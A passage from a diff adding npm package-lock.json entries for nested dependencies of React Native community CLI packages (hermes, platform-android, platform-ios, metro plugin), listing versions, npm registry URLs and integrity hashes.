+ }, + "node_modules/@react-native-community/cli-doctor/node_modules/pump": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/pump/-/pump-3.0.0.tgz", + "integrity": "sha512-LwZy+p3SFs1Pytd/jYct4wpv49HiYCqd9Rlc5ZVdk0V+8Yzv6jR5Blk3TRmPL1ft69TxP0IMZGJ+WPFU2BFhww==", + "peer": true, + "dependencies": { + "end-of-stream": "^1.1.0", + "once": "^1.3.1" + } + }, + "node_modules/@react-native-community/cli-doctor/node_modules/semver": { + "version": "6.3.0", + "resolved": "https://registry.npmjs.org/semver/-/semver-6.3.0.tgz", + "integrity": "sha512-b39TBaTSfV6yBrapU89p5fKekE2m/NwnDocOVruQFS1/veMgdzuPcnOM34M6CwxW8jH/lxEa5rBoDeUwu5HHTw==", + "peer": true, + "bin": { + "semver": "bin/semver.js" + } + }, + "node_modules/@react-native-community/cli-doctor/node_modules/strip-ansi": { + "version": "5.2.0", + "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-5.2.0.tgz", + "integrity": "sha512-DuRs1gKbBqsMKIZlrffwlug8MHkcnpjs5VPmL1PAh+mA30U0DTotfDZ0d2UUsXpPmPmMMJ6W773MaA3J+lbiWA==", + "peer": true, + "dependencies": { + "ansi-regex": "^4.1.0" + }, + "engines": { + "node": ">=6" + } + }, + "node_modules/@react-native-community/cli-doctor/node_modules/supports-color": { + "version": "7.2.0", + "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz", + "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==", + "peer": true, + "dependencies": { + "has-flag": "^4.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/@react-native-community/cli-hermes": { + "version": "10.2.0", + "resolved": "https://registry.npmjs.org/@react-native-community/cli-hermes/-/cli-hermes-10.2.0.tgz", + "integrity": "sha512-urfmvNeR8IiO/Sd92UU3xPO+/qI2lwCWQnxOkWaU/i2EITFekE47MD6MZrfVulRVYRi5cuaFqKZO/ccOdOB/vQ==", + "peer": true, + "dependencies": { + "@react-native-community/cli-platform-android": "^10.2.0", + "@react-native-community/cli-tools": "^10.1.1", + "chalk": "^4.1.2", + "hermes-profile-transformer": "^0.0.6", + "ip": "^1.1.5" + } + }, + "node_modules/@react-native-community/cli-hermes/node_modules/@react-native-community/cli-platform-android": { + "version": "10.2.0", + "resolved": "https://registry.npmjs.org/@react-native-community/cli-platform-android/-/cli-platform-android-10.2.0.tgz", + "integrity": "sha512-CBenYwGxwFdObZTn1lgxWtMGA5ms2G/ALQhkS+XTAD7KHDrCxFF9yT/fnAjFZKM6vX/1TqGI1RflruXih3kAhw==", + "peer": true, + "dependencies": { + "@react-native-community/cli-tools": "^10.1.1", + "chalk": "^4.1.2", + "execa": "^1.0.0", + "glob": "^7.1.3", + "logkitty": "^0.7.1" + } + }, + "node_modules/@react-native-community/cli-hermes/node_modules/ansi-styles": { + "version": "4.3.0", + "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz", + "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==", + "peer": true, + "dependencies": { + "color-convert": "^2.0.1" + }, + "engines": { + "node": ">=8" + }, + "funding": { + "url": "https://github.com/chalk/ansi-styles?sponsor=1" + } + }, + "node_modules/@react-native-community/cli-hermes/node_modules/chalk": { + "version": "4.1.2", + "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz", + "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==", + "peer": true, + "dependencies": { + "ansi-styles": "^4.1.0", + "supports-color": "^7.1.0" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/chalk/chalk?sponsor=1" + } + }, + "node_modules/@react-native-community/cli-hermes/node_modules/color-convert": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz", + "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==", + "peer": true, + "dependencies": { + "color-name": "~1.1.4" + }, + "engines": { + "node": ">=7.0.0" + } + }, + "node_modules/@react-native-community/cli-hermes/node_modules/color-name": { + "version": "1.1.4", + "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz", + "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==", + "peer": true + }, + "node_modules/@react-native-community/cli-hermes/node_modules/cross-spawn": { + "version": "6.0.5", + "resolved": "https://registry.npmjs.org/cross-spawn/-/cross-spawn-6.0.5.tgz", + "integrity": "sha512-eTVLrBSt7fjbDygz805pMnstIs2VTBNkRm0qxZd+M7A5XDdxVRWO5MxGBXZhjY4cqLYLdtrGqRf8mBPmzwSpWQ==", + "peer": true, + "dependencies": { + "nice-try": "^1.0.4", + "path-key": "^2.0.1", + "semver": "^5.5.0", + "shebang-command": "^1.2.0", + "which": "^1.2.9" + }, + "engines": { + "node": ">=4.8" + } + }, + "node_modules/@react-native-community/cli-hermes/node_modules/execa": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/execa/-/execa-1.0.0.tgz", + "integrity": "sha512-adbxcyWV46qiHyvSp50TKt05tB4tK3HcmF7/nxfAdhnox83seTDbwnaqKO4sXRy7roHAIFqJP/Rw/AuEbX61LA==", + "peer": true, + "dependencies": { + "cross-spawn": "^6.0.0", + "get-stream": "^4.0.0", + "is-stream": "^1.1.0", + "npm-run-path": "^2.0.0", + "p-finally": "^1.0.0", + "signal-exit": "^3.0.0", + "strip-eof": "^1.0.0" + }, + "engines": { + "node": ">=6" + } + }, + "node_modules/@react-native-community/cli-hermes/node_modules/get-stream": { + "version": "4.1.0", + "resolved": "https://registry.npmjs.org/get-stream/-/get-stream-4.1.0.tgz", + "integrity": "sha512-GMat4EJ5161kIy2HevLlr4luNjBgvmj413KaQA7jt4V8B4RDsfpHk7WQ9GVqfYyyx8OS/L66Kox+rJRNklLK7w==", + "peer": true, + "dependencies": { + "pump": "^3.0.0" + }, + "engines": { + "node": ">=6" + } + }, + "node_modules/@react-native-community/cli-hermes/node_modules/glob": { + "version": "7.2.3", + "resolved": "https://registry.npmjs.org/glob/-/glob-7.2.3.tgz", + "integrity": "sha512-nFR0zLpU2YCaRxwoCJvL6UvCH2JFyFVIvwTLsIf21AuHlMskA1hhTdk+LlYJtOlYt9v6dvszD2BGRqBL+iQK9Q==", + "peer": true, + "dependencies": { + "fs.realpath": "^1.0.0", + "inflight": "^1.0.4", + "inherits": "2", + "minimatch": "^3.1.1", + "once": "^1.3.0", + "path-is-absolute": "^1.0.0" + }, + "engines": { + "node": "*" + }, + "funding": { + "url": "https://github.com/sponsors/isaacs" + } + }, + "node_modules/@react-native-community/cli-hermes/node_modules/has-flag": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-4.0.0.tgz", + "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==", + "peer": true, + "engines": { + "node": ">=8" + } + }, + "node_modules/@react-native-community/cli-hermes/node_modules/minimatch": { + "version": "3.1.2", + "resolved": "https://registry.npmjs.org/minimatch/-/minimatch-3.1.2.tgz", + "integrity": "sha512-J7p63hRiAjw1NDEww1W7i37+ByIrOWO5XQQAzZ3VOcL0PNybwpfmV/N05zFAzwQ9USyEcX6t3UO+K5aqBQOIHw==", + "peer": true, + "dependencies": { + "brace-expansion": "^1.1.7" + }, + "engines": { + "node": "*" + } + }, + "node_modules/@react-native-community/cli-hermes/node_modules/pump": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/pump/-/pump-3.0.0.tgz", + "integrity": "sha512-LwZy+p3SFs1Pytd/jYct4wpv49HiYCqd9Rlc5ZVdk0V+8Yzv6jR5Blk3TRmPL1ft69TxP0IMZGJ+WPFU2BFhww==", + "peer": true, + "dependencies": { + "end-of-stream": "^1.1.0", + "once": "^1.3.1" + } + }, + "node_modules/@react-native-community/cli-hermes/node_modules/supports-color": { + "version": "7.2.0", + "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz", + "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==", + "peer": true, + "dependencies": { + "has-flag": "^4.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/@react-native-community/cli-platform-android": { + "version": "10.1.3", + "resolved": "https://registry.npmjs.org/@react-native-community/cli-platform-android/-/cli-platform-android-10.1.3.tgz", + "integrity": "sha512-8YZEpBL6yd9l4CIoFcLOgrV8x2GDujdqrdWrNsNERDAbsiFwqAQvfjyyb57GAZVuEPEJCoqUlGlMCwOh3XQb9A==", + "peer": true, + "dependencies": { + "@react-native-community/cli-tools": "^10.1.1", + "chalk": "^4.1.2", + "execa": "^1.0.0", + "glob": "^7.1.3", + "logkitty": "^0.7.1" + } + }, + "node_modules/@react-native-community/cli-platform-android/node_modules/ansi-styles": { + "version": "4.3.0", + "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz", + "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==", + "peer": true, + "dependencies": { + "color-convert": "^2.0.1" + }, + "engines": { + "node": ">=8" + }, + "funding": { + "url": "https://github.com/chalk/ansi-styles?sponsor=1" + } + }, + "node_modules/@react-native-community/cli-platform-android/node_modules/chalk": { + "version": "4.1.2", + "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz", + "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==", + "peer": true, + "dependencies": { + "ansi-styles": "^4.1.0", + "supports-color": "^7.1.0" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/chalk/chalk?sponsor=1" + } + }, + "node_modules/@react-native-community/cli-platform-android/node_modules/color-convert": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz", + "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==", + "peer": true, + "dependencies": { + "color-name": "~1.1.4" + }, + "engines": { + "node": ">=7.0.0" + } + }, + "node_modules/@react-native-community/cli-platform-android/node_modules/color-name": { + "version": "1.1.4", + "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz", + "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==", + "peer": true + }, + "node_modules/@react-native-community/cli-platform-android/node_modules/cross-spawn": { + "version": "6.0.5", + "resolved": "https://registry.npmjs.org/cross-spawn/-/cross-spawn-6.0.5.tgz", + "integrity": "sha512-eTVLrBSt7fjbDygz805pMnstIs2VTBNkRm0qxZd+M7A5XDdxVRWO5MxGBXZhjY4cqLYLdtrGqRf8mBPmzwSpWQ==", + "peer": true, + "dependencies": { + "nice-try": "^1.0.4", + "path-key": "^2.0.1", + "semver": "^5.5.0", + "shebang-command": "^1.2.0", + "which": "^1.2.9" + }, + "engines": { + "node": ">=4.8" + } + }, + "node_modules/@react-native-community/cli-platform-android/node_modules/execa": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/execa/-/execa-1.0.0.tgz", + "integrity": "sha512-adbxcyWV46qiHyvSp50TKt05tB4tK3HcmF7/nxfAdhnox83seTDbwnaqKO4sXRy7roHAIFqJP/Rw/AuEbX61LA==", + "peer": true, + "dependencies": { + "cross-spawn": "^6.0.0", + "get-stream": "^4.0.0", + "is-stream": "^1.1.0", + "npm-run-path": "^2.0.0", + "p-finally": "^1.0.0", + "signal-exit": "^3.0.0", + "strip-eof": "^1.0.0" + }, + "engines": { + "node": ">=6" + } + }, + "node_modules/@react-native-community/cli-platform-android/node_modules/get-stream": { + "version": "4.1.0", + "resolved": "https://registry.npmjs.org/get-stream/-/get-stream-4.1.0.tgz", + "integrity": "sha512-GMat4EJ5161kIy2HevLlr4luNjBgvmj413KaQA7jt4V8B4RDsfpHk7WQ9GVqfYyyx8OS/L66Kox+rJRNklLK7w==", + "peer": true, + "dependencies": { + "pump": "^3.0.0" + }, + "engines": { + "node": ">=6" + } + }, + "node_modules/@react-native-community/cli-platform-android/node_modules/glob": { + "version": "7.2.3", + "resolved": "https://registry.npmjs.org/glob/-/glob-7.2.3.tgz", + "integrity": "sha512-nFR0zLpU2YCaRxwoCJvL6UvCH2JFyFVIvwTLsIf21AuHlMskA1hhTdk+LlYJtOlYt9v6dvszD2BGRqBL+iQK9Q==", + "peer": true, + "dependencies": { + "fs.realpath": "^1.0.0", + "inflight": "^1.0.4", + "inherits": "2", + "minimatch": "^3.1.1", + "once": "^1.3.0", + "path-is-absolute": "^1.0.0" + }, + "engines": { + "node": "*" + }, + "funding": { + "url": "https://github.com/sponsors/isaacs" + } + }, + "node_modules/@react-native-community/cli-platform-android/node_modules/has-flag": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-4.0.0.tgz", + "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==", + "peer": true, + "engines": { + "node": ">=8" + } + }, + "node_modules/@react-native-community/cli-platform-android/node_modules/minimatch": { + "version": "3.1.2", + "resolved": "https://registry.npmjs.org/minimatch/-/minimatch-3.1.2.tgz", + "integrity": "sha512-J7p63hRiAjw1NDEww1W7i37+ByIrOWO5XQQAzZ3VOcL0PNybwpfmV/N05zFAzwQ9USyEcX6t3UO+K5aqBQOIHw==", + "peer": true, + "dependencies": { + "brace-expansion": "^1.1.7" + }, + "engines": { + "node": "*" + } + }, + "node_modules/@react-native-community/cli-platform-android/node_modules/pump": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/pump/-/pump-3.0.0.tgz", + "integrity": "sha512-LwZy+p3SFs1Pytd/jYct4wpv49HiYCqd9Rlc5ZVdk0V+8Yzv6jR5Blk3TRmPL1ft69TxP0IMZGJ+WPFU2BFhww==", + "peer": true, + "dependencies": { + "end-of-stream": "^1.1.0", + "once": "^1.3.1" + } + }, + "node_modules/@react-native-community/cli-platform-android/node_modules/supports-color": { + "version": "7.2.0", + "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz", + "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==", + "peer": true, + "dependencies": { + "has-flag": "^4.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/@react-native-community/cli-platform-ios": { + "version": "10.1.1", + "resolved": "https://registry.npmjs.org/@react-native-community/cli-platform-ios/-/cli-platform-ios-10.1.1.tgz", + "integrity": "sha512-EB9/L8j1LqrqyfJtLRixU+d8FIP6Pr83rEgUgXgya/u8wk3h/bvX70w+Ff2skwjdPLr5dLUQ/n5KFX4r3bsNmA==", + "peer": true, + "dependencies": { + "@react-native-community/cli-tools": "^10.1.1", + "chalk": "^4.1.2", + "execa": "^1.0.0", + "glob": "^7.1.3", + "ora": "^5.4.1" + } + }, + "node_modules/@react-native-community/cli-platform-ios/node_modules/ansi-styles": { + "version": "4.3.0", + "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz", + "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==", + "peer": true, + "dependencies": { + "color-convert": "^2.0.1" + }, + "engines": { + "node": ">=8" + }, + "funding": { + "url": "https://github.com/chalk/ansi-styles?sponsor=1" + } + }, + "node_modules/@react-native-community/cli-platform-ios/node_modules/chalk": { + "version": "4.1.2", + "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz", + "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==", + "peer": true, + "dependencies": { + "ansi-styles": "^4.1.0", + "supports-color": "^7.1.0" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/chalk/chalk?sponsor=1" + } + }, + "node_modules/@react-native-community/cli-platform-ios/node_modules/color-convert": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz", + "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==", + "peer": true, + "dependencies": { + "color-name": "~1.1.4" + }, + "engines": { + "node": ">=7.0.0" + } + }, + "node_modules/@react-native-community/cli-platform-ios/node_modules/color-name": { + "version": "1.1.4", + "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz", + "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==", + "peer": true + }, + "node_modules/@react-native-community/cli-platform-ios/node_modules/cross-spawn": { + "version": "6.0.5", + "resolved": "https://registry.npmjs.org/cross-spawn/-/cross-spawn-6.0.5.tgz", + "integrity": "sha512-eTVLrBSt7fjbDygz805pMnstIs2VTBNkRm0qxZd+M7A5XDdxVRWO5MxGBXZhjY4cqLYLdtrGqRf8mBPmzwSpWQ==", + "peer": true, + "dependencies": { + "nice-try": "^1.0.4", + "path-key": "^2.0.1", + "semver": "^5.5.0", + "shebang-command": "^1.2.0", + "which": "^1.2.9" + }, + "engines": { + "node": ">=4.8" + } + }, + "node_modules/@react-native-community/cli-platform-ios/node_modules/execa": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/execa/-/execa-1.0.0.tgz", + "integrity": "sha512-adbxcyWV46qiHyvSp50TKt05tB4tK3HcmF7/nxfAdhnox83seTDbwnaqKO4sXRy7roHAIFqJP/Rw/AuEbX61LA==", + "peer": true, + "dependencies": { + "cross-spawn": "^6.0.0", + "get-stream": "^4.0.0", + "is-stream": "^1.1.0", + "npm-run-path": "^2.0.0", + "p-finally": "^1.0.0", + "signal-exit": "^3.0.0", + "strip-eof": "^1.0.0" + }, + "engines": { + "node": ">=6" + } + }, + "node_modules/@react-native-community/cli-platform-ios/node_modules/get-stream": { + "version": "4.1.0", + "resolved": "https://registry.npmjs.org/get-stream/-/get-stream-4.1.0.tgz", + "integrity": "sha512-GMat4EJ5161kIy2HevLlr4luNjBgvmj413KaQA7jt4V8B4RDsfpHk7WQ9GVqfYyyx8OS/L66Kox+rJRNklLK7w==", + "peer": true, + "dependencies": { + "pump": "^3.0.0" + }, + "engines": { + "node": ">=6" + } + }, + "node_modules/@react-native-community/cli-platform-ios/node_modules/glob": { + "version": "7.2.3", + "resolved": "https://registry.npmjs.org/glob/-/glob-7.2.3.tgz", + "integrity": "sha512-nFR0zLpU2YCaRxwoCJvL6UvCH2JFyFVIvwTLsIf21AuHlMskA1hhTdk+LlYJtOlYt9v6dvszD2BGRqBL+iQK9Q==", + "peer": true, + "dependencies": { + "fs.realpath": "^1.0.0", + "inflight": "^1.0.4", + "inherits": "2", + "minimatch": "^3.1.1", + "once": "^1.3.0", + "path-is-absolute": "^1.0.0" + }, + "engines": { + "node": "*" + }, + "funding": { + "url": "https://github.com/sponsors/isaacs" + } + }, + "node_modules/@react-native-community/cli-platform-ios/node_modules/has-flag": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-4.0.0.tgz", + "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==", + "peer": true, + "engines": { + "node": ">=8" + } + }, + "node_modules/@react-native-community/cli-platform-ios/node_modules/minimatch": { + "version": "3.1.2", + "resolved": "https://registry.npmjs.org/minimatch/-/minimatch-3.1.2.tgz", + "integrity": "sha512-J7p63hRiAjw1NDEww1W7i37+ByIrOWO5XQQAzZ3VOcL0PNybwpfmV/N05zFAzwQ9USyEcX6t3UO+K5aqBQOIHw==", + "peer": true, + "dependencies": { + "brace-expansion": "^1.1.7" + }, + "engines": { + "node": "*" + } + }, + "node_modules/@react-native-community/cli-platform-ios/node_modules/pump": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/pump/-/pump-3.0.0.tgz", + "integrity": "sha512-LwZy+p3SFs1Pytd/jYct4wpv49HiYCqd9Rlc5ZVdk0V+8Yzv6jR5Blk3TRmPL1ft69TxP0IMZGJ+WPFU2BFhww==", + "peer": true, + "dependencies": { + "end-of-stream": "^1.1.0", + "once": "^1.3.1" + } + }, + "node_modules/@react-native-community/cli-platform-ios/node_modules/supports-color": { + "version": "7.2.0", + "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz", + "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==", + "peer": true, + "dependencies": { + "has-flag": "^4.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/@react-native-community/cli-plugin-metro": { + "version": "10.2.0", + "resolved": "https://registry.npmjs.org/@react-native-community/cli-plugin-metro/-/cli-plugin-metro-10.2.0.tgz", + "integrity": "sha512-9eiJrKYuauEDkQLCrjJUh7tS9T0oaMQqVUSSSuyDG6du7HQcfaR4mSf21wK75jvhKiwcQLpsFmMdctAb+0v+Cg==", + "peer": true, + "dependencies": { + "@react-native-community/cli-server-api": "^10.1.1", + "@react-native-community/cli-tools": "^10.1.1", + "chalk": "^4.1.2", + "execa": "^1.0.0", + "metro": "0.73.8", + "metro-config": "0.73.8", + "metro-core": "0.73.8", + "metro-react-native-babel-transformer": "0.73.8", + "metro-resolver": "0.73.8", + "metro-runtime": "0.73.8", + "readline": "^1.3.0" + } + }, + "node_modules/@react-native-community/cli-plugin-metro/node_modules/ansi-styles": { + "version": "4.3.0", + "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz", + "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==", + "peer": true, + "dependencies": { + "color-convert": "^2.0.1" + }, + "engines": { + "node": ">=8" + }, + "funding": { + "url": "https://github.com/chalk/ansi-styles?sponsor=1" + } + }, + "node_modules/@react-native-community/cli-plugin-metro/node_modules/chalk": { + "version": "4.1.2", + "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz", + "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==", + "peer": true, + "dependencies": { + "ansi-styles": "^4.1.0", + "supports-color": "^7.1.0" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/chalk/chalk?sponsor=1" + } + }, + "node_modules/@react-native-community/cli-plugin-metro/node_modules/color-convert": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz", + "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==", + "peer": true, + "dependencies": { + "color-name": "~1.1.4" + }, + "engines": { + "node": ">=7.0.0" + } + }, + "node_modules/@react-native-community/cli-plugin-metro/node_modules/color-name": { + "version": "1.1.4", + "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz", + "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==", + "peer": true + }, + "node_modules/@react-native-community/cli-plugin-metro/node_modules/cross-spawn": { + "version": "6.0.5", + "resolved": "https://registry.npmjs.org/cross-spawn/-/cross-spawn-6.0.5.tgz", + "integrity": "sha512-eTVLrBSt7fjbDygz805pMnstIs2VTBNkRm0qxZd+M7A5XDdxVRWO5MxGBXZhjY4cqLYLdtrGqRf8mBPmzwSpWQ==", + "peer": true, + "dependencies": { + "nice-try": "^1.0.4", + "path-key": "^2.0.1", + "semver": "^5.5.0", + "shebang-command": "^1.2.0", + "which": "^1.2.9" + }, + "engines": { + "node": ">=4.8" + } + }, + "node_modules/@react-native-community/cli-plugin-metro/node_modules/execa": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/execa/-/execa-1.0.0.tgz", + "integrity": "sha512-adbxcyWV46qiHyvSp50TKt05tB4tK3HcmF7/nxfAdhnox83seTDbwnaqKO4sXRy7roHAIFqJP/Rw/AuEbX61LA==", + "peer": true, + "dependencies": { + "cross-spawn": "^6.0.0", + "get-stream": "^4.0.0", + "is-stream": "^1.1.0", + "npm-run-path": "^2.0.0", + "p-finally": "^1.0.0", + "signal-exit": "^3.0.0", + "strip-eof": "^1.0.0" + }, + "engines": { + "node": ">=6" + } + }, + "node_modules/@react-native-community/cli-plugin-metro/node_modules/get-stream": { + "version": "4.1.0", + "resolved": "https://registry.npmjs.org/get-stream/-/get-stream-4.1.0.tgz", + "integrity": "sha512-GMat4EJ5161kIy2HevLlr4luNjBgvmj413KaQA7jt4V8B4RDsfpHk7WQ9GVqfYyyx8OS/L66Kox+rJRNklLK7w==", + "peer": true, + "dependencies": { + "pump": "^3.0.0" + }, + "engines": { + "node": ">=6" + } + }, + "node_modules/@react-native-community/cli-plugin-metro/node_modules/has-flag": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-4.0.0.tgz", + "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==", + "peer": true, + "engines": { + "node": ">=8" + } + }, + "node_modules/@react-native-community/cli-plugin-metro/node_modules/metro-react-native-babel-transformer": { + "version": "0.73.8", + "resolved": "https://registry.npmjs.org/metro-react-native-babel-transformer/-/metro-react-native-babel-transformer-0.73.8.tgz", + "integrity": "sha512-oH/LCCJPauteAE28c0KJAiSrkV+1VJbU0PwA9UwaWnle+qevs/clpKQ8LrIr33YbBj4CiI1kFoVRuNRt5h4NFg==", + "peer": true, + "dependencies": { + "@babel/core": "^7.20.0", + "babel-preset-fbjs": "^3.4.0", + "hermes-parser": "0.8.0", + "metro-babel-transformer": "0.73.8", + "metro-react-native-babel-preset": "0.73.8", + "metro-source-map": "0.73.8", + "nullthrows": "^1.1.1" + }, + "peerDependencies": { + "@babel/core": "*" + } + }, + "node_modules/@react-native-community/cli-plugin-metro/node_modules/metro-runtime": { + "version": "0.73.8", + "resolved": "https://registry.npmjs.org/metro-runtime/-/metro-runtime-0.73.8.tgz", + "integrity": "sha512-M+Bg9M4EN5AEpJ8NkiUsawD75ifYvYfHi05w6QzHXaqOrsTeaRbbeLuOGCYxU2f/tPg17wQV97/rqUQzs9qEtA==", + "peer": true, + "dependencies": { + "@babel/runtime": "^7.0.0", + "react-refresh": "^0.4.0" + } + }, + "node_modules/@react-native-community/cli-plugin-metro/node_modules/metro-source-map": { + "version": "0.73.8", + "resolved": "https://registry.npmjs.org/metro-source-map/-/metro-source-map-0.73.8.tgz", + "integrity": "sha512-wozFXuBYMAy7b8BCYwC+qoXsvayVJBHWtSTlSLva99t+CoUSG9JO9kg1umzbOz28YYPxKmvb/wbnLMkHdas2cA==", + "peer": true, + "dependencies": { + "@babel/traverse": "^7.20.0", + "@babel/types": "^7.20.0", + "invariant": "^2.2.4", + "metro-symbolicate": "0.73.8", + "nullthrows": "^1.1.1", + "ob1": "0.73.8", + "source-map": "^0.5.6", + "vlq": "^1.0.0" + } + }, + "node_modules/@react-native-community/cli-plugin-metro/node_modules/ob1": { + "version": "0.73.8", + "resolved": "https://registry.npmjs.org/ob1/-/ob1-0.73.8.tgz", + "integrity": "sha512-1F7j+jzD+edS6ohQP7Vg5f3yiIk5i3x1uLrNIHOmLHWzWK1t3zrDpjnoXghccdVlsU+UjbyURnDynm4p0GgXeA==", + "peer": true + }, + "node_modules/@react-native-community/cli-plugin-metro/node_modules/pump": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/pump/-/pump-3.0.0.tgz", + "integrity": "sha512-LwZy+p3SFs1Pytd/jYct4wpv49HiYCqd9Rlc5ZVdk0V+8Yzv6jR5Blk3TRmPL1ft69TxP0IMZGJ+WPFU2BFhww==", + "peer": true, + "dependencies": { + "end-of-stream": 